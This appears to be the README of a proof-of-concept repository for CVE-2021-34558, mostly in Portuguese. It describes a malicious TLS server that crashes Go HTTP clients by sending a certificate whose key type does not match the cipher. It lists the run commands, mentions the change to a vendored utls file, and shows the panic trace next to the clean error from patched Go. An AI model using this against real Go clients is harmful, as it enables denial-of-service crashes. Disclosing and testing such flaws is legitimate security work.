alexzorin/cve-2021-34558Prova de conceito para CVE-2021-34558, demonstrando um panic no handshake TLS no crypto/tls do Go através de um servidor malicioso com certificado e cipher incompatíveis.
# Run the malicious TLS server
go run main.go -mode server
# Run a normal `http.Get` client call against the server which panics
go run main.go -mode client
Há uma pequena modificação no ./vendor/github.com/refraction-networking/utls/handshake_server.go para permitir que o handshake malicioso seja enviado com um certificado/cifra incompatível.
Fica assim:
$ go run main.go -mode client
panic: interface conversion: interface {} is *ecdsa.PublicKey, not *rsa.PublicKey
goroutine 7 [running]:
crypto/tls.rsaKeyAgreement.generateClientKeyExchange(0xc000001c80, 0xc00014a000, 0xc000130580, 0x0, 0x0, 0x4, 0x6e9da0, 0x7fe73e42e201, 0xc00001c758)
/usr/local/go/src/crypto/tls/key_agreement.go:70 +0x3a6
crypto/tls.(*clientHandshakeState).doFullHandshake(0xc00015fd48, 0xc00001a380, 0x31)
/usr/local/go/src/crypto/tls/handshake_client.go:574 +0x5e9
crypto/tls.(*clientHandshakeState).handshake(0xc00015fd48, 0xc00001c418, 0x4)
/usr/local/go/src/crypto/tls/handshake_client.go:421 +0x566
crypto/tls.(*Conn).clientHandshake(0xc00007f180, 0x0, 0x0)
/usr/local/go/src/crypto/tls/handshake_client.go:220 +0x754
crypto/tls.(*Conn).Handshake(0xc00007f180, 0x0, 0x0)
/usr/local/go/src/crypto/tls/conn.go:1391 +0xc9
net/http.(*persistConn).addTLS.func2(0x0, 0xc00007f180, 0x0, 0xc0000624e0)
/usr/local/go/src/net/http/transport.go:1530 +0x45
created by net/http.(*persistConn).addTLS
/usr/local/go/src/net/http/transport.go:1526 +0x1f6
exit status 2
Uma versão corrigida do Go (1.16.6+) não trava:
$ go run main.go -mode client
2021/07/13 06:13:50 <nil> Get "https://127.0.0.1:8443/": tls: server certificate contains incorrect key type for selected ciphersuite